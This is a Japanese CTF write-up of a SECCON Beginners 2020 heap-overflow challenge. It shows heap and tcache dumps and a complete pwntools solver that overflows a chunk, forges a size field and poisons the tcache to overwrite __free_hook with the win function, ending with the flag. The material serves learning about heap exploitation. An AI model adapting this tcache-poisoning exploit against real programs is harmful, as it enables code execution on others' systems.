- Source: Seccon Beginners CTF 2020
- Author: ptr-yudai
配布ファイルはない。接続するとインターフェースが表示される。win関数を呼び出せば良いらしい。
$ nc localhost 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)
A = malloc(0x18);
Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:
<__free_hook>: 0x7f35616e68e8
<win>: 0x562194c01465
Call <win> function and you'll get the flag.
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
>
A,Bへの書き込みとBのfreeが可能。また、現在のheapとtcacheの状態を確認できる。ヒントまで教えてくれるらしい。すごい。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5621c6c8b330
[+] B = (nil)
+--------------------+
0x00005621c6c8b320 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b328 | 0x0000000000000021 |
+--------------------+
0x00005621c6c8b330 | 0x0000000000000a61 | <-- A
+--------------------+
0x00005621c6c8b338 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b340 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b348 | 0x0000000000020cc1 |
+--------------------+
0x00005621c6c8b350 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b358 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b360 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b368 | 0x0000000000000000 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Aへの書き込みではサイズ0x18のメモリを確保しているが、サイズ0x80の書き込みが可能なので自明なheap overflowがある。これを用いてwin関数を呼び出したい。
BへAAAAAAAAを書き込んだ後のheapの状態はこうなっている。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5606d2447330
[+] B = 0x5606d2447350
+--------------------+
0x00005606d2447320 | 0x0000000000000000 |
+--------------------+
0x00005606d2447328 | 0x0000000000000021 |
+--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
+--------------------+
0x00005606d2447338 | 0x0000000000000000 |
+--------------------+
0x00005606d2447340 | 0x0000000000000000 |
+--------------------+
0x00005606d2447348 | 0x0000000000000021 |
+--------------------+
0x00005606d2447350 | 0x4141414141414141 | <-- B
+--------------------+
0x00005606d2447358 | 0x000000000000000a |
+--------------------+
0x00005606d2447360 | 0x0000000000000000 |
+--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Bの直前の値が0x21に、0x00005606d2447368の値が0x20ca1に変化している。続いてBをfreeしてみる。この0x21はヒープのチャンクサイズを表している。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5606d2447330
[+] B = (nil)
+--------------------+
0x00005606d2447320 | 0x0000000000000000 |
+--------------------+
0x00005606d2447328 | 0x0000000000000021 |
+--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
+--------------------+
0x00005606d2447338 | 0x0000000000000000 |
+--------------------+
0x00005606d2447340 | 0x0000000000000000 |
+--------------------+
0x00005606d2447348 | 0x0000000000000021 |
+--------------------+
0x00005606d2447350 | 0x0000000000000000 |
+--------------------+
0x00005606d2447358 | 0x00005606d2447010 |
+--------------------+
0x00005606d2447360 | 0x0000000000000000 |
+--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
最初の状態に戻っておらず、0x00005606d2447358に何か保存されている。ここでtcacheを見てみる。
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x000055def00b7350(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
0x00005606d2447358へ繋がっている。tcacheはfree listの一部（他にfastbinやunsorted binというものもあるが、mallocで一番最初に呼ばれるのはこのtcache binになる）で、一度freeしたチャンクの情報をキャッシュしているらしい。このあたりはあまり理解できていないがこのサイトが詳しかった。
tcacheをheap overflowを用いて__free_hookのアドレスに書き換えてみる。__free_hookはhooksの一つで、freeした時に呼び出される。
一旦ここまでのscriptを書く。
from pwn import *
context.log_level = "debug"
p = remote("localhost", 9002)
p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)
# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")
# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x28) + p64(free_hook))
p.sendlineafter(">", "5")
print(p.recvall())
単純にAをoverflowさせるとBのチャンクサイズも壊れてしまうため、ヒントを見ながら良さげな値に調整する。0x28にするとIt seems __free_hook is successfully linked to tcache!\nAnd the chunk size is properly forged!\nと言われた。
さて、この時点でtcacheの値はこうなっている。実行の度にアドレスの正確な値は変わるが、さっきのtcacheの末端に相当する0x000055dc296dd350を上書きしたことで、tcacheが__free_hookを示す0x00007fe507f5a8e8へ繋がっている。
b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
b'[ tcache (for 0x20) ]\n'
b' ||\n'
b' \\/\n'
b'[ 0x000055dc296dd350(rw-) ]\n'
b' ||\n'
b' \\/\n'
b'[ 0x00007fe507f5a8e8(rw-) ]\n'
b' ||\n'
b' \\/\n'
b'[ END OF TCACHE ]\n'
b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'
この状態で再度Bをmalloc、freeするとtcacheから1つpopし、tcacheの先頭は__free_hookになる…と思ったが、free(): invalid sizeと言われてしまった。Bの上書きしたチャンクサイズを0x28から0x30に変えてみる。
tcacheの先頭に__free_hookがいる。
b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
b'[ tcache (for 0x20) ]\n'
b' ||\n'
b' \\/\n'
b'[ 0x00007f77934308e8(rw-) ]\n'
b' ||\n'
b' \\/\n'
b'[ END OF TCACHE ]\n'
b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'
これで次にfreeした時に__free_hookが呼び出される。ここでB（実際は__free_hookの指し示す先）へwin関数のアドレスを書き込んでfreeするとwin関数が呼び出される。
最終的なsolverはこうなる。
from pwn import *
context.log_level = "debug"
p = remote("localhost", 9002)
p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)
# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")
# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x30) + p64(free_hook))
# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")
# call win
p.sendlineafter(">", "2")
p.sendline(p64(win))
p.sendlineafter(">", "3")
# print flag
p.recvuntil(">")
print(p.recvall())
flagが得られた。
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}